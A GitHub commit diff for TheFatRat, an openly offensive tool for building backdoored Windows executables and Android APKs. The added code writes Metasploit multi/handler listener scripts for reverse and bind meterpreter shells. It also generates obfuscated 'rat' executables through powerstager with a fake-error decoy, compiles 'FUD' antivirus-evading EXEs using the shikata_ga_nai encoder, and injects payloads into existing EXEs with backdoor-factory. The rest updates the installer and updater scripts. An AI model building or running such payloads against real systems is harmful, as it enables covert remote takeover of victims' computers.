0
0
Fork 0
mirror of https://github.com/Screetsec/TheFatRat.git synced 2023-12-14 02:02:58 +01:00

Merge pull request #158 from peterpt/master

Update >> thanks
This commit is contained in:
Edo Maland 2017-07-16 10:19:42 +07:00 committed by GitHub
commit 294520d3e3
4 changed files with 431 additions and 221 deletions

415
fatrat
View file

@ -398,6 +398,236 @@ cat << !
!
}
function bkflst () {
echo -e $okegreen "Do you want to create a listener for this configuration"
echo -e $okegreen "to use in msfconsole in future ?"
echo ""
echo -ne $cyan "Choose y/n : "
read sel
case $sel in
y|Y|Yes|yes|YES)
echo ""
echo -e $green "Write the name for this config . (ex : back-lst)"
echo -ne "Filename : ";tput sgr0
read fname
if [ -z $fname ]
then
svf=$path/config/listeners/back-lst.rc
rm -rf $svf >/dev/null 2>&1
echo ""
echo -e $orange " +-------------------------------------------+"
echo -e $orange " |$white [$okegreen 1$white ]$yellow windows/shell_bind_tcp$orange |"
echo -e $orange " |$white [$okegreen 2$white ]$yellow windows/shell/reverse_tcp$orange |"
echo -e $orange " |$white [$okegreen 3$white ]$yellow windows/meterpreter/reverse_tcp$orange |"
echo -e $orange " |$white [$okegreen 4$white ]$yellow windows/meterpreter/reverse_tcp_dns$orange |"
echo -e $orange " |$white [$okegreen 5$white ]$yellow windows/meterpreter/reverse_http$orange |"
echo -e $orange " |$white [$okegreen 6$white ]$yellow windows/meterpreter/reverse_https$orange |"
echo -e $orange " +-------------------------------------------+"
echo ""
echo -ne $okegreen " Choose Payload :";tput sgr0
read pld
if [ $pld == "1" ]
then
echo "use exploit/multi/handler" > $svf
echo "set PAYLOAD windows/shell_bind_tcp" >> $svf
echo "set LHOST $yourip" >> $svf
echo "set LPORT $yourport" >> $svf
echo "exploit" >> $svf
echo -e $okegreen ""
echo "Configuration file saved to $list/back-lst.rc"
read -rsp $'Press [ENTER] key to return to fatrat menu\n' -n 1 key
echo
clear
menu
elif [ $pld == "2" ]
then
echo "use exploit/multi/handler" > $svf
echo "set PAYLOAD windows/shell/reverse_tcp" >> $svf
echo "set LHOST $yourip" >> $svf
echo "set LPORT $yourport" >> $svf
echo "exploit" >> $svf
echo -e $okegreen ""
echo "Configuration file saved to $list/back-lst.rc"
read -rsp $'Press [ENTER] key to return to fatrat menu\n' -n 1 key
echo
clear
menu
elif [ $pld == "3" ]
then
echo "use exploit/multi/handler" > $svf
echo "set PAYLOAD windows/meterpreter/reverse_tcp" >> $svf
echo "set LHOST $yourip" >> $svf
echo "set LPORT $yourport" >> $svf
echo "exploit" >> $svf
echo -e $okegreen ""
echo "Configuration file saved to $list/back-lst.rc"
read -rsp $'Press [ENTER] key to return to fatrat menu\n' -n 1 key
echo
clear
menu
elif [ $pld == "4" ]
then
echo "use exploit/multi/handler" > $svf
echo "set PAYLOAD windows/meterpreter/reverse_tcp_dns" >> $svf
echo "set LHOST $yourip" >> $svf
echo "set LPORT $yourport" >> $svf
echo "exploit" >> $svf
echo -e $okegreen ""
echo "Configuration file saved to $list/back-lst.rc"
read -rsp $'Press [ENTER] key to return to fatrat menu\n' -n 1 key
echo
clear
menu
elif [ $pld == "5" ]
then
echo "use exploit/multi/handler" > $svf
echo "set PAYLOAD windows/meterpreter/reverse_http" >> $svf
echo "set LHOST $yourip" >> $svf
echo "set LPORT $yourport" >> $svf
echo "exploit" >> $svf
echo -e $okegreen ""
echo "Configuration file saved to $list/back-lst.rc"
read -rsp $'Press [ENTER] key to return to fatrat menu\n' -n 1 key
echo
clear
menu
elif [ $pld == "6" ]
then
echo "use exploit/multi/handler" > $svf
echo "set PAYLOAD windows/meterpreter/reverse_https" >> $svf
echo "set LHOST $yourip" >> $svf
echo "set LPORT $yourport" >> $svf
echo "exploit" >> $svf
echo -e $okegreen ""
echo "Configuration file saved to $list/back-lst.rc"
read -rsp $'Press [ENTER] key to return to fatrat menu\n' -n 1 key
echo
clear
menu
else
echo -e $red "Invalid option"
echo ""
read -rsp $'Press [ENTER] key to return to fatrat menu\n' -n 1 key
echo
clear
bkflst
fi
else
svf=$path/config/listeners/$fname.rc
rm -rf $fname >/dev/null 2>&1
echo ""
echo -e $orange " +-------------------------------------------+"
echo -e $orange " |$white [$okegreen 1$white ]$yellow windows/shell_bind_tcp$orange |"
echo -e $orange " |$white [$okegreen 2$white ]$yellow windows/shell/reverse_tcp$orange |"
echo -e $orange " |$white [$okegreen 3$white ]$yellow windows/meterpreter/reverse_tcp$orange |"
echo -e $orange " |$white [$okegreen 4$white ]$yellow windows/meterpreter/reverse_tcp_dns$orange |"
echo -e $orange " |$white [$okegreen 5$white ]$yellow windows/meterpreter/reverse_http$orange |"
echo -e $orange " |$white [$okegreen 6$white ]$yellow windows/meterpreter/reverse_https$orange |"
echo -e $orange " +-------------------------------------------+"
echo ""
echo -ne $okegreen " Choose Payload :";tput sgr0
read pld
if [ $pld == "1" ]
then
echo "use exploit/multi/handler" > $svf
echo "set PAYLOAD windows/shell_bind_tcp" >> $svf
echo "set LHOST $yourip" >> $svf
echo "set LPORT $yourport" >> $svf
echo "exploit" >> $svf
echo -e $okegreen ""
echo "Configuration file saved to $list/$fname.rc"
read -rsp $'Press [ENTER] key to return to fatrat menu\n' -n 1 key
echo
clear
menu
elif [ $pld == "2" ]
then
echo "use exploit/multi/handler" > $svf
echo "set PAYLOAD windows/shell/reverse_tcp" >> $svf
echo "set LHOST $yourip" >> $svf
echo "set LPORT $yourport" >> $svf
echo "exploit" >> $svf
echo -e $okegreen ""
echo "Configuration file saved to $list/$fname.rc"
read -rsp $'Press [ENTER] key to return to fatrat menu\n' -n 1 key
echo
clear
menu
elif [ $pld == "3" ]
then
echo "use exploit/multi/handler" > $svf
echo "set PAYLOAD windows/meterpreter/reverse_tcp" >> $svf
echo "set LHOST $yourip" >> $svf
echo "set LPORT $yourport" >> $svf
echo "exploit" >> $svf
echo -e $okegreen ""
echo "Configuration file saved to $list/$fname.rc"
read -rsp $'Press [ENTER] key to return to fatrat menu\n' -n 1 key
echo
clear
menu
elif [ $pld == "4" ]
then
echo "use exploit/multi/handler" > $svf
echo "set PAYLOAD windows/meterpreter/reverse_tcp_dns" >> $svf
echo "set LHOST $yourip" >> $svf
echo "set LPORT $yourport" >> $svf
echo "exploit" >> $svf
echo -e $okegreen ""
echo "Configuration file saved to $list/$fname.rc"
read -rsp $'Press [ENTER] key to return to fatrat menu\n' -n 1 key
echo
clear
menu
elif [ $pld == "5" ]
then
echo "use exploit/multi/handler" > $svf
echo "set PAYLOAD windows/meterpreter/reverse_http" >> $svf
echo "set LHOST $yourip" >> $svf
echo "set LPORT $yourport" >> $svf
echo "exploit" >> $svf
echo -e $okegreen ""
echo "Configuration file saved to $list/$fname.rc"
read -rsp $'Press [ENTER] key to return to fatrat menu\n' -n 1 key
echo
clear
menu
elif [ $pld == "6" ]
then
echo "use exploit/multi/handler" > $svf
echo "set PAYLOAD windows/meterpreter/reverse_https" >> $svf
echo "set LHOST $yourip" >> $svf
echo "set LPORT $yourport" >> $svf
echo "exploit" >> $svf
echo -e $okegreen ""
echo "Configuration file saved to $list/$fname.rc"
read -rsp $'Press [ENTER] key to return to fatrat menu\n' -n 1 key
echo
clear
menu
else
echo -e $red "Invalid option"
echo ""
read -rsp $'Press [ENTER] key to return to fatrat menu\n' -n 1 key
echo
clear
bkflst
fi
fi
;;
n|no|No|NO)
echo -e $okegreen ""
read -rsp $'Press [ENTER] key to return to fatrat menu\n' -n 1 key
echo
clear
menu
;;
*)
clear
menu
;;
esac
}
# Function to create a listener for apk
function crlst() {
echo -e $okegreen "Do you want to create a listener for this configuration"
@ -1463,7 +1693,7 @@ for liste in icons/*.ico; do
done
echo -e $orange " +---------------------+"
echo ""
echo -e $okegreen " Write the icon name from the list to add to your backdoor EXE"
echo -e $okegreen " Write the icon name from the list to add to your backdoor EXE or press [ENTER] key for default icon"
echo ""
echo -ne " Filename : ";tput sgr0
read fname
@ -1549,7 +1779,7 @@ for liste in icons/*.ico; do
done
echo -e $orange " +---------------------+"
echo ""
echo -e $okegreen " Write the icon name from the list to add to your backdoor EXE"
echo -e $okegreen " Write the icon name from the list to add to your backdoor EXE or press [ENTER] key for default icon"
echo ""
echo -ne " Filename : ";tput sgr0
read fname
@ -1614,83 +1844,6 @@ fi
fudwin
fi
fi
# On this point , fatrat detected that there is no mingw64 installed , so will proceed automatically to rat 32bit creation
which i586-mingw32msvc-gcc >> $logfud 2>&1
if [ "$?" -eq "0" ]; then
echo ""
spinlong
echo ""
icfold="$path/icons"
lit=`ls -1 $icfold/*.ico 2>/dev/null | wc -l`
if [ $lit != 0 ]
then
echo -e $orange " +--------------------+"
echo -e $orange " |$okegreen Current icons list$orange |"
echo -e $orange " +--------------------+"
for liste in icons/*.ico; do
echo ${liste##*/}
done
echo -e $orange " +-------------------------+"
echo ""
echo -e $okegreen " Write the icon name from the list to add to your backdoor EXE"
echo ""
echo -ne " Filename : ";tput sgr0
read fname
fi
if [ -z $fname ]
then
echo ""
echo -e $red "No file name was written"
echo ""
echo -e $okegreen "Building EXE with default icon"
spinlong
echo ""
echo -e $okegreen "[*] Builing your powerstage rat for windows with the following values"
echo ""
echo -e $yellow " Target :$okegreen Windows 32 Bit"
echo -e $yellow " Your IP/Host :$okegreen $yourip"
echo -e $yellow " Your Port :$okegreen $yourport"
echo -e $yellow " Rat Filename :$okegreen $fira"
fstager="$path/$fira"
python $pstager --target win32 --meterpreter --lhost $yourip --lport $yourport --fake-error --obfuscation --output $fira >> $logfud 2>&1
met="32"
pstagef
fi
if [ ! -f $icfold/$fname ]
then
echo ""
echo -e $red "The Filename you wrote does not exist in icons folder."
echo ""
echo -e $okegreen "Building EXE with default icon"
spinlog
echo ""
echo -e $okegreen "[*] Builing your powerstage rat for windows with the following values"
echo ""
echo -e $yellow " Target :$okegreen Windows 32 Bit"
echo -e $yellow " Your IP/Host :$okegreen $yourip"
echo -e $yellow " Your Port :$okegreen $yourport"
echo -e $yellow " Rat Filename :$okegreen $fira"
fstager="$path/$fira"
python $pstager --target win32 --meterpreter --lhost $yourip --lport $yourport --fake-error --obfuscation --output $fira >> $logfud 2>&1
met="32"
pstagef
else
spinlog
echo ""
echo -e $okegreen "[*] Builing your powerstage rat for windows with the following values"
echo ""
echo -e $yellow " Target :$okegreen Windows 32 Bit"
echo -e $yellow " Your IP/Host :$okegreen $yourip"
echo -e $yellow " Your Port :$okegreen $yourport"
echo -e $yellow " Rat Filename :$okegreen $fira"
echo -e $yellow " Icon filename :$okegreen $fname"
fstager=$path/$fira
echo ""
python $pstager --target win32 --meterpreter --lhost $yourip --lport $yourport --fake-error --obfuscation --icon $icfold/$fname --output $fira >> $logfud 2>&1
met="32"
pstagef
fi
fi
;;
2)
#slowbutpowerfull selection
@ -5234,10 +5387,27 @@ echo
echo ""
echo -e $okegreen""
$backdoor -f $exef -s $payload -H $yourip -P $yourport -o output/$fira.exe
echo -e "Shell Saved To :($path/backdoored/output/$fira.exe) press [ENTER] key to continue"
backout="$path/backdoored/output/$fira.exe"
if [ ! -f "$backout" ]
then
echo -e $red "There was a problem in the creation of your backdoor file using backdoor-factory"
echo -e $red "One of the problable causes is that the EXE file you selected is not yet supported"
echo ""
echo -e $okegreen "Press [ENTER] key to continue to main menu "
read mmenu
clear
menu
else
echo ""
echo -e $cyan "Your Rat was saved To :"
echo -e $cyan "$path/backdoored/output/$fira.exe"
echo ""
bkflst
read bebeku
clear
menu
fi
elif test $fatrat == '5'
then
embedapk
@ -5303,35 +5473,30 @@ echo
echo ""
else
clear
exit
menu
fi
echo -e $red" [*] $cyan Cleaning /TheFatRat/temp/"
cd temp
rm *.rc >/dev/null 2>&1
cd ..
echo -e $red" [*] $cyan Cleaning $path/temp/"
rm $path/temp/* >/dev/null 2>&1
sleep 2
echo ""
echo -e $red" [*] $cyan Cleaning /TheFatRat/autorun/"
cd autorun
rm * >/dev/null 2>&1
cd ..
echo -e $red" [*] $cyan Cleaning $path/autorun/"
rm $path/autorun/* >/dev/null 2>&1
sleep 2
echo ""
echo -e $red" [*] $cyan Cleaning /TheFatRat/output/"
cd output
rm * >/dev/null 2>&1
cd ..
echo -e $red" [*] $cyan Cleaning $path/output/"
rm $path/output/* >/dev/null 2>&1
sleep 2
echo ""
echo -e $red" [*] $cyan Cleaning /TheFatRat/*.exe or apk"
echo -e $red" [*] $cyan Cleaning $path/config/listeners/"
rm $path/config/listeners/* >/dev/null 2>&1
sleep 2
echo ""
echo -e $red" [*] $cyan Cleaning $path/*.exe or apk"
rm *.exe *.apk >/dev/null 2>&1
sleep 2
echo ""
echo -e $red" [*] $cyan Cleaning /TheFatRat/backdoored/output/"
cd backdoored/output
rm * >/dev/null 2>&1
cd ..
cd ..
echo -e $red" [*] $cyan Cleaning $path/backdoored/output/"
rm $path/backdoored/output/* >/dev/null 2>&1
echo ""
echo -ne $red" [*] $cyan Folders cleaned, press [ENTER] key to return to the main menu."
read anjeng
@ -5464,10 +5629,27 @@ echo
echo ""
echo -e $okegreen""
$backdoor -f $exef -s $payload -H $yourip -P $yourport -o output/$fira.exe
echo -e "Shell Saved To :($path/backdoored/output/$fira.exe) press [ENTER] key to continue"
backout="$path/backdoored/output/$fira.exe"
if [ ! -f "$backout" ]
then
echo -e $red "There was a problem in the creation of your backdoor file using backdoor-factory"
echo -e $red "One of the problable causes is that the EXE file you selected is not yet supported"
echo ""
echo -e $okegreen "Press [ENTER] key to continue to main menu "
read mmenu
clear
menu
else
echo ""
echo -e $cyan "Your Rat was saved To :"
echo -e $cyan "$path/backdoored/output/$fira.exe"
echo ""
bkflst
read bebeku
clear
menu
fi
elif test $fatrat == '5'
then
embedapk
@ -5533,35 +5715,30 @@ echo
echo ""
else
clear
exit
menu
fi
echo -e $red" [*] $cyan Cleaning /TheFatRat/temp/"
cd temp
rm *.rc >/dev/null 2>&1
cd ..
echo -e $red" [*] $cyan Cleaning $path/temp/"
rm $path/temp/* >/dev/null 2>&1
sleep 2
echo ""
echo -e $red" [*] $cyan Cleaning /TheFatRat/autorun/"
cd autorun
rm * >/dev/null 2>&1
cd ..
echo -e $red" [*] $cyan Cleaning $path/autorun/"
rm $path/autorun/* >/dev/null 2>&1
sleep 2
echo ""
echo -e $red" [*] $cyan Cleaning /TheFatRat/output/"
cd output
rm * >/dev/null 2>&1
cd ..
echo -e $red" [*] $cyan Cleaning $path/output/"
rm $path/output/* >/dev/null 2>&1
sleep 2
echo ""
echo -e $red" [*] $cyan Cleaning /TheFatRat/*.exe or apk"
echo -e $red" [*] $cyan Cleaning $path/config/listeners/"
rm $path/config/listeners/* >/dev/null 2>&1
sleep 2
echo ""
echo -e $red" [*] $cyan Cleaning $path/*.exe or apk"
rm *.exe *.apk >/dev/null 2>&1
sleep 2
echo ""
echo -e $red" [*] $cyan Cleaning /TheFatRat/backdoored/output/"
cd backdoored/output
rm * >/dev/null 2>&1
cd ..
cd ..
echo -e $red" [*] $cyan Cleaning $path/backdoored/output/"
rm $path/backdoored/output/* >/dev/null 2>&1
echo ""
echo -ne $red" [*] $cyan Folders cleaned, press [ENTER] key to return to the main menu."
read anjeng

79
powerfull.sh Executable file → Normal file
View file

@ -46,28 +46,38 @@ lanip=`ip addr | grep 'state UP' -A2 | tail -n1 | awk '{print $2}' | cut -f1 -d'
lanip6=`ip addr | grep 'state UP' -A4 | tail -n1 | awk '{print $2}' | cut -f1 -d'/'`
publicip=`dig +short myip.opendns.com @resolver1.opendns.com`
hostn=`host $publicip | awk '{print $5}' | sed 's/.$//'`
comp="0"
# Warn if the gcc-mingw32 package is not located here /usr/bin/i586-mingw32msvc-gcc
# You may need to install the following on Kali Linux to compile the C to an Exe - "apt-get install gcc-mingw32"
# check mingw if exists
which i586-mingw32msvc-gcc > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo []::[mingw32]: installation found!;
COMPILER="i586-mingw32msvc-gcc"
else
which i686-w64-mingw32-gcc > /dev/null 2>&1
if [ $? -eq 0 ]; then
if [ "$?" -eq "0" ]
then
echo []::[mingw32]: installation found!;
COMPILER="i686-w64-mingw32-gcc"
comp="1"
fi
which x86_64-w64-mingw32-gcc > /dev/null 2>&1
if [ $? -eq 0 ]
then
echo []::[mingw64]: installation found!;
if [ $comp == "0" ]
then
comp="2"
elif [ $comp == "1" ]
then
comp="3"
else
echo [x]::[warning]:this script require mingw32 installed to work ;
echo [x]::[warning]:this script require mingw32 or mingw64 installed to work ;
echo ""
echo [!]::Run setup.sh to install mingw32 ;
echo [!]::Run setup.sh to install mingw64 ;
sleep 2s
exit 1
fi
fi
# check upx if exists
which upx > /dev/null 2>&1
if [ $? -eq 0 ]; then
@ -96,7 +106,6 @@ fi
#Checking
[[ `id -u` -eq 0 ]] || { echo -e "\e[31mMust be root to run script"; exit 1; }
resize -s 30 76
clear
SERVICE=service;
@ -110,7 +119,10 @@ red='\e[1;31m'
yellow='\e[1;33m'
BlueF='\e[1;34m'
yellow='\e[1;33m'
orange='\e[38;5;166m'
rm -f $path/output/Powerfull.exe >/dev/null 2>&1
rm -f $path/output/Powerfull-fud.exe >/dev/null 2>&1
#Banner
clear
echo
@ -156,6 +168,51 @@ read inp
./powerfull.sh
fi
echo ""
if [ $comp == "1" ]
then
COMPILER="i686-w64-mingw32-gcc"
fi
if [ $comp == "2" ]
then
COMPILER="x86_64-w64-mingw32-gcc"
fi
if [ $comp == "3" ]
then
echo ""
echo -e $yellow "You can compile this FUD for 32bit or 64bit windows machines"
echo ""
echo -e $green "Choose one of the following options"
echo -e $orange "+-------------------------------+"
echo -e $orange "|$white [$green 1$white ] $yellow Compile 32bit FUD Exe $orange |"
echo -e $orange "|$white [$green 2$white ] $yellow Compile 64bit FUD Exe $orange |"
echo -e $orange "+-------------------------------+"
echo ""
echo -ne $green "Choose (1 or 2) : " ;tput sgr0
read archs
case $archs in
1)
COMPILER="i686-w64-mingw32-gcc"
echo ""
echo -e $green "32bit Selected"
sleep 1
;;
2)
COMPILER="x86_64-w64-mingw32-gcc"
echo ""
echo -e $green "32bit Selected"
sleep 1
;;
*)
COMPILER="i686-w64-mingw32-gcc"
echo ""
echo -e $green "Invalid Option , setting 32bit as default"
sleep 1
;;
esac
fi
echo -e $okegreen
payload="windows/meterpreter/reverse_tcp"
msfvenomBadChars="\x00\xff"
msfvenomEncoder="x86/shikata_ga_nai"

119
setup.sh
View file

@ -1,82 +1,4 @@
#!/bin/bash
# In case mingw64 or 32bit are not found then proceed to their instalation according to user linux architecture
function mingwi() {
case "$arch" in
x86_64|aarch64)
#double check for mingw64
which i686-w64-mingw32-gcc > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
#mingw64 detected
echo -e $green "[ ✔ ] Mingw-w64 Compiler................[ found ]"
#write mingw64 location to log file
which i686-w64-mingw32-gcc >> "$log" 2>&1
#Write that ming64 was detected to install.log , so user know that mingw is ok
echo "Mingw64 -> OK" >> "$inst"
sleep 1
else
echo -e $red "[ X ] mingw-w64 compiler -> not found "
echo -e $yellow "[ ! ] Installing Mingw-64 "
#Mingw64 was not found , install it using kali repository
xterm -T "☣ INSTALL MINGW64 COMPILLER ☣" -geometry 100x30 -e "sudo apt-get install mingw-w64 --force-yes -y"
#After instalation , check again for mingw64
which i686-w64-mingw32-gcc >> "$log" 2>&1
if [ "$?" -eq "0" ]; then
#Instalation was succefully
echo -e $green "[ ✔ ] Mingw64 -> OK"
echo "Mingw64 -> OK" >> "$inst"
else
#Instalation of mingw64 failed
echo -e $red "[ x ] Mingw64"
#Write 0 to check file so setup can know in the end that something failed
echo "0" > "$stp"
#Write in install.log that Mingw64 instalation was not sucefully
echo "Mingw64 -> NOT OK" >> "$inst"
fi
fi
;;
#Same procedure as before but for mingw32
i386|i486|i586|i686|armv7l)
which i586-mingw32msvc-gcc > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo -e $green "[ ✔ ] Mingw32 Compiler..................[ found ]"
which i586-mingw32msvc-gcc >> "$log" 2>&1
echo "Mingw32 -> OK" >> "$inst"
sleep 1
else
echo -e $red "[ X ] mingw32 compiler -> not found "
echo -e $yellow "[ ! ] Installing Mingw32 "
xterm -T "☣ INSTALL MINGW32 COMPILLER ☣" -geometry 100x30 -e "sudo apt-get install mingw32 --force-yes -y"
which i586-mingw32msvc-gcc >> "$log" 2>&1
if [ "$?" -eq "0" ]; then
echo -e $green "[ ✔ ] Mingw32 -> OK"
echo "Mingw32 -> OK" >> "$inst"
else
echo -e $red "[ x ] Mingw32"
echo "0" > "$stp"
echo "Mingw32 -> NOT OK" >> "$inst"
fi
fi
;;
*)
#none of the accepted architectures were detected , infor user to create an issue in fatrat git with his linux arch
echo -e $red "Architecture not in list , aborting installation"
echo -e $yellow "Please report into issues on Fatrat github this Arch : Arch=($arch)"
echo ""
echo -e $green "Press any key to continue"
read abo
# Instalation was aborted , return user sources.list to original
echo -e $blue "Reactivating you original repositories"
rm -f /etc/apt/sources.list
mv /etc/apt/sources.list.backup /etc/apt/sources.list
#now we can remove the emergency backup securely
rm -f /etc/apt/sources.list.fatrat
apt-get clean
xterm -T "☣ UPDATE YOUR REPO ☣" -geometry 100x30 -e "sudo apt-get update "
clear
exit 0
;;
esac
}
#Instalation of searchsploit (exploitdb)
function ssplt() {
@ -153,7 +75,7 @@ if [ "$ct" == "0" ]; then
clear
echo -e $red "Fatrat was not able to install some packages"
echo ""
echo -e $blue "Reactivating you original repositories"
echo -e $blue "Reactivating your original repositories"
rm -f /etc/apt/sources.list
mv /etc/apt/sources.list.backup /etc/apt/sources.list
#now we can remove the emergency backup securely
@ -186,7 +108,17 @@ echo ""
echo "Was not possible to install The Packages Labeled (Not Ok) in this list above" >> "$inst"
echo "Try : (apt-get remove --purge <packagename> && apt-get autoremove && apt-get install -f)" >> "$inst"
echo "before running fatrat setup script again" >> "$inst"
echo "" >> "$inst"
echo "***********Your current sources.list***************"
sclst=`cat /etc/apt/sources.list`
echo $sclst >> "$inst"
echo "***************Finish sources.list*****************" >> "$inst"
dist=`uname -a`
echo "" >> "$inst"
echo "Your linux distribution :" >> "$inst"
echo $dist >> "$inst"
cat "$inst"
echo -e $lightgreen "This log file can be found in : $inst "
exit
fi
}
@ -701,19 +633,25 @@ sleep 1
# check if mingw32 or mingw-64 exists
# Case not exists then reedirect to mingw instalation depending on arch
which i686-w64-mingw32-gcc > /dev/null 2>&1
which x86_64-w64-mingw32-gcc >> /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo -e $green "[ ✔ ] Mingw-w64 Compiler................[ found ]"
which i686-w64-mingw32-gcc >> "$log" 2>&1
which x86_64-w64-mingw32-gcc >> "$log" 2>&1
echo "Mingw64 -> OK" >> "$inst"
else
which i586-mingw32msvc-gcc > /dev/null 2>&1
echo -e $red "[ X ] Mingw-w64 -> not found "
#Powerstager requires mingw64 to work , mingw32 is required because powerfull.sh requires it for 32bit fud exe compiling
# In case mingw64 not found then remove any previously mingw32 & 64 bit faulty instalations and install mingw64
xterm -T "☣ INSTALL MINGW64 COMPILLER ☣" -geometry 100x30 -e "sudo apt-get remove --purge mingw-w64 mingw32 -y && apt-get autoremove -y && apt-get install mingw-w64 mingw32 --force-yes -y"
which x86_64-w64-mingw32-gcc > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo -e $green "[ ✔ ] Mingw32 Compiler..................[ found ]"
which i586-mingw32msvc-gcc >> "$log" 2>&1
echo "Mingw32 -> OK" >> "$inst"
echo -e $green "[ ✔ ] Mingw-64 Compiler..................[ found ]"
which x86_64-w64-mingw32-gcc >> "$log" 2>&1
echo "Mingw64 -> OK" >> "$inst"
else
mingwi
echo "0" > "$stp"
echo "Mingw-64 -> Not OK" >> "$inst"
fi
fi
@ -765,6 +703,7 @@ echo "DX -> Not OK" >> "$inst"
fi
fi
# check if aapt exists and if it is version v0.2-3821160 used in fatrat (android sdk)
unlink "/usr/local/sbin/aapt" > /dev/null 2>&1
which aapt > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
aptv=`aapt v | awk '{print $5}'`
@ -934,7 +873,7 @@ mtspl
################################
# rebackyo repo
################################
echo -e $blue "Reactivating you original repositories"
echo -e $blue "Reactivating your original repositories"
rm -f /etc/apt/sources.list
mv /etc/apt/sources.list.backup /etc/apt/sources.list
#now we can remove the emergency backup securely
@ -1149,7 +1088,7 @@ echo " | | / / "
echo " |___| /\ /____/ "
echo " \/ "
echo ""
echo -e $blue " Setup Script for FATRAT 1.9.4 "
echo -e $blue " Setup Script for FATRAT 1.9.5 "
echo "------------------------------------------------------" > "$log"
echo "| Tools paths configured in (setup.sh) for TheFatRat |" >> "$log"
echo "------------------------------------------------------" >> "$log"
@ -1158,11 +1097,11 @@ echo ""
#Detect if user OS is 32Bit or 64bit
case $arch in
x86_64|aarch64)
echo -e $purple " 64Bit OS detected"
echo -e $yellow " 64Bit OS detected"
echo ""
;;
i386|i486|i586|i686|armv7l)
echo -e $blue " 32Bit OS detected"
echo -e $yellow " 32Bit OS detected"
echo ""
;;
*)

39
update Executable file → Normal file
View file

@ -8,6 +8,7 @@ red='\e[1;31m'
yellow='\e[1;33m'
blue='\e[1;34m'
purple='\e[1;35m'
path=`pwd`
function chknet() {
echo -e $red "[X] Your Internet is not working correctly!"
@ -67,13 +68,49 @@ then
chknet
fi
sleep 1
find . -type f -name "*.md" -exec rm -f {} \; > /dev/null 2>&1
rm -f $path/temp/* >/dev/null 2>&1
mkdir /tmp/frupdate > /dev/null 2>&1
mkdir /tmp/frupdate/autorun > /dev/null 2>&1
mkdir /tmp/frupdate/backdoored > /dev/null 2>&1
mkdir /tmp/frupdate/backdoored/output > /dev/null 2>&1
mkdir /tmp/frupdate/config > /dev/null 2>&1
mkdir /tmp/frupdate/config/listeners > /dev/null 2>&1
mkdir /tmp/frupdate/logs > /dev/null 2>&1
mkdir /tmp/frupdate/output > /dev/null 2>&1
mv $path/autorun/* /tmp/frupdate/autorun/ >/dev/null 2>&1
mv $path/backdoored/* /tmp/frupdate/backdoored/ >/dev/null 2>&1
mv $path/backdoored/output/* /tmp/frupdate/backdoored/output/ >/dev/null 2>&1
mv $path/config/config.path /tmp/frupdate/config/ >/dev/null 2>&1
mv $path/config/grab.conf /tmp/frupdate/config/ >/dev/null 2>&1
mv $path/config/listeners/* /tmp/frupdate/config/listeners/ >/dev/null 2>&1
mv $path/logs/* /tmp/frupdate/logs/ >/dev/null 2>&1
mv $path/output/* /tmp/frupdate/output/ >/dev/null 2>&1
rm -f fatrat >/dev/null 2>&1
rm -f powerfull.sh >/dev/null 2>&1
rm -f grab.sh >/dev/null 2>&1
rm -f backdoor_apk >/dev/null 2>&1
rm -f setup.sh >/dev/null 2>&1
echo -e $cyan "************************************"
echo -e $cyan "** $green Updating Fatrat from Github $cyan **"
echo -e $cyan "************************************"
sleep 3
git checkout master
git pull origin master
mv /tmp/frupdate/autorun/* $path/autorun/ >/dev/null 2>&1
mv /tmp/frupdate/backdoored/* $path/backdoored/ >/dev/null 2>&1
mv /tmp/frupdate/backdoored/output/* $path/backdoored/output/ >/dev/null 2>&1
mv /tmp/frupdate/config/config.path $path/config/ >/dev/null 2>&1
mv /tmp/frupdate/config/grab.conf $path/config/ >/dev/null 2>&1
mv /tmp/frupdate/config/listeners/* $path/config/listeners/ >/dev/null 2>&1
mv /tmp/frupdate/logs/* $path/logs/ >/dev/null 2>&1
mv /tmp/frupdate/output/* $path/output/ >/dev/null 2>&1
rm -fr /tmp/frupdate >/dev/null 2>&1
chmod +x fatrat
chmod +x setup.sh
chmod +x powerfull.sh
chmod +x grab.sh
chmod +x update
echo -e $cyan "*************************"
echo -e $cyan "** $green Update Completed $cyan **"
echo -e $cyan "*************************"